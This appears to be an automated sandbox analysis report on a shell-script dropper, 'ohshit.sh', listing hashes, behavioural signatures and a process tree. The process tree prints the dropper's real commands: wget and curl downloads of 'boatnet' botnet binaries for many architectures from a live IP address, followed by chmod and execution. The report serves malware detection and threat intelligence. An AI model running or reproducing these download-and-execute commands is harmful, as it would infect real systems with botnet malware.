Analysis

  • max time kernel
    60s
  • max time network
    64s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    31-08-2024 21:05

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    fefdf2b7ece4d55bd47778b420f84011

  • SHA1

    2823096e0538910f9b57ff9bae007ec655520fc3

  • SHA256

    3611c98f0a496d5891dc7888ed43a5d9b5eae8b1b27186dbe8b9b83922ae66eb

  • SHA512

    b1e1c59a9802ea141e48f395d3f5268c351687e7ca8758feb9b6882d51f230be3c72f657219816c82fa61bd811ce37bfb392c0a26d10d5b53bb333e7af03cf21

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 12 IoCs
  • Loads a kernel module 64 IoCs

    Loads a Linux kernel module, potentially to achieve persistence

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 13 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

  • cURL User-Agent 13 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:2819
    • /usr/bin/wget
      wget http://94.156.71.225/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:2821
    • /usr/bin/curl
      curl -O http://94.156.71.225/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:2822
    • /usr/bin/cat
      cat boatnet.x86
      2⤵
        PID:2826
      • /usr/bin/chmod
        chmod +x WTF boatnet.x86 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-timedated.service-mZxQTm systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
        2⤵
          PID:2827
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Loads a kernel module
          PID:2828
        • /usr/bin/wget
          wget http://94.156.71.225/hiddenbin/boatnet.mips
          2⤵
          • Writes file to tmp directory
          PID:2832
        • /usr/bin/curl
          curl -O http://94.156.71.225/hiddenbin/boatnet.mips
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:2834
        • /usr/bin/chmod
          chmod +x WTF boatnet.mips boatnet.x86 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-timedated.service-mZxQTm systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
          2⤵
            PID:2836
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Loads a kernel module
            PID:2837
          • /usr/bin/wget
            wget http://94.156.71.225/hiddenbin/boatnet.arc
            2⤵
            • Writes file to tmp directory
            PID:2842
          • /usr/bin/curl
            curl -O http://94.156.71.225/hiddenbin/boatnet.arc
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:2843
          • /usr/bin/chmod
            chmod +x WTF boatnet.arc boatnet.mips boatnet.x86 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-timedated.service-mZxQTm systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
            2⤵
              PID:2845
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Loads a kernel module
              PID:2846
            • /usr/bin/wget
              wget http://94.156.71.225/hiddenbin/boatnet.i468
              2⤵
                PID:2851
              • /usr/bin/curl
                curl -O http://94.156.71.225/hiddenbin/boatnet.i468
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:2852
              • /usr/bin/chmod
                chmod +x WTF boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-timedated.service-mZxQTm systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
                2⤵
                  PID:2858
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  • Loads a kernel module
                  PID:2859
                • /usr/bin/wget
                  wget http://94.156.71.225/hiddenbin/boatnet.i686
                  2⤵
                    PID:2864
                  • /usr/bin/curl
                    curl -O http://94.156.71.225/hiddenbin/boatnet.i686
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:2865
                  • /usr/bin/chmod
                    chmod +x WTF boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-timedated.service-mZxQTm systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
                    2⤵
                      PID:2868
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:2869
                    • /usr/bin/wget
                      wget http://94.156.71.225/hiddenbin/boatnet.x86_64
                      2⤵
                      • Writes file to tmp directory
                      PID:2874
                    • /usr/bin/curl
                      curl -O http://94.156.71.225/hiddenbin/boatnet.x86_64
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:2880
                    • /usr/bin/chmod
                      chmod +x WTF boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-timedated.service-mZxQTm systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
                      2⤵
                        PID:2907
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:2908
                      • /usr/bin/wget
                        wget http://94.156.71.225/hiddenbin/boatnet.mpsl
                        2⤵
                        • Writes file to tmp directory
                        PID:2913
                      • /usr/bin/curl
                        curl -O http://94.156.71.225/hiddenbin/boatnet.mpsl
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:2917
                      • /usr/bin/chmod
                        chmod +x WTF boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
                        2⤵
                          PID:2925
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:2926
                        • /usr/bin/wget
                          wget http://94.156.71.225/hiddenbin/boatnet.arm
                          2⤵
                          • Writes file to tmp directory
                          PID:2931
                        • /usr/bin/curl
                          curl -O http://94.156.71.225/hiddenbin/boatnet.arm
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:2941
                        • /usr/bin/chmod
                          chmod +x WTF boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
                          2⤵
                            PID:2944
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:2945
                          • /usr/bin/wget
                            wget http://94.156.71.225/hiddenbin/boatnet.arm5
                            2⤵
                            • Writes file to tmp directory
                            PID:2950
                          • /usr/bin/curl
                            curl -O http://94.156.71.225/hiddenbin/boatnet.arm5
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:2951
                          • /usr/bin/chmod
                            chmod +x WTF boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
                            2⤵
                              PID:2978
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:2979
                            • /usr/bin/wget
                              wget http://94.156.71.225/hiddenbin/boatnet.arm6
                              2⤵
                              • Writes file to tmp directory
                              PID:2984
                            • /usr/bin/curl
                              curl -O http://94.156.71.225/hiddenbin/boatnet.arm6
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:2985
                            • /usr/bin/chmod
                              chmod +x WTF boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
                              2⤵
                                PID:2990
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:2991
                              • /usr/bin/wget
                                wget http://94.156.71.225/hiddenbin/boatnet.arm7
                                2⤵
                                • Writes file to tmp directory
                                PID:2996
                              • /usr/bin/curl
                                curl -O http://94.156.71.225/hiddenbin/boatnet.arm7
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:2997
                              • /usr/bin/chmod
                                chmod +x WTF boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
                                2⤵
                                  PID:3000
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:3001
                                • /usr/bin/wget
                                  wget http://94.156.71.225/hiddenbin/boatnet.ppc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:3006
                                • /usr/bin/curl
                                  curl -O http://94.156.71.225/hiddenbin/boatnet.ppc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:3008
                                • /usr/bin/chmod
                                  chmod +x WTF boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 gdm3-config-err-deWci9 gdm3-config-err-zcyG9f ohshit.sh snap-private-tmp systemd-private-39dd9de36b424919b7752968ab183e0b-ModemManager.service-Ffcoj9 systemd-private-39dd9de36b424919b7752968ab183e0b-colord.service-W05Kj7 systemd-private-39dd9de36b424919b7752968ab183e0b-polkit.service-nKBlGy systemd-private-39dd9de36b424919b7752968ab183e0b-power-profiles-daemon.service-MeykBv systemd-private-39dd9de36b424919b7752968ab183e0b-switcheroo-control.service-vltBte systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-logind.service-WrHcDX systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-oomd.service-BRFJB2 systemd-private-39dd9de36b424919b7752968ab183e0b-systemd-resolved.service-HZhYTO systemd-private-39dd9de36b424919b7752968ab183e0b-upower.service-eQdUSf
                                  2⤵
                                    PID:3010
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:3011
                                  • /usr/bin/wget
                                    wget http://94.156.71.225/hiddenbin/boatnet.spc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:3016
                                  • /usr/bin/curl
                                    curl -O http://94.156.71.225/hiddenbin/boatnet.spc
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:3019

                                Network

                                MITRE ATT&CK Matrix

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/boatnet.x86

                                  Filesize

                                  36KB

                                  MD5

                                  ba2cb5b8715ba94c39e24e75a34d0ea0

                                  SHA1

                                  7182bf3b0e14e5224e741c15174c6e93f00df444

                                  SHA256

                                  01fad47db364d66c0a9ed9c6c5c558c5a95eb0d015bec4be5f1109d14e15ec33

                                  SHA512

                                  0c26a32066b88dc22aada2ca606639e6717b84501402eac80107f7130fca6c43f6cd40e11e88ae1deda45320a6c726af04bf946818ef3099d84f31e523f9b33d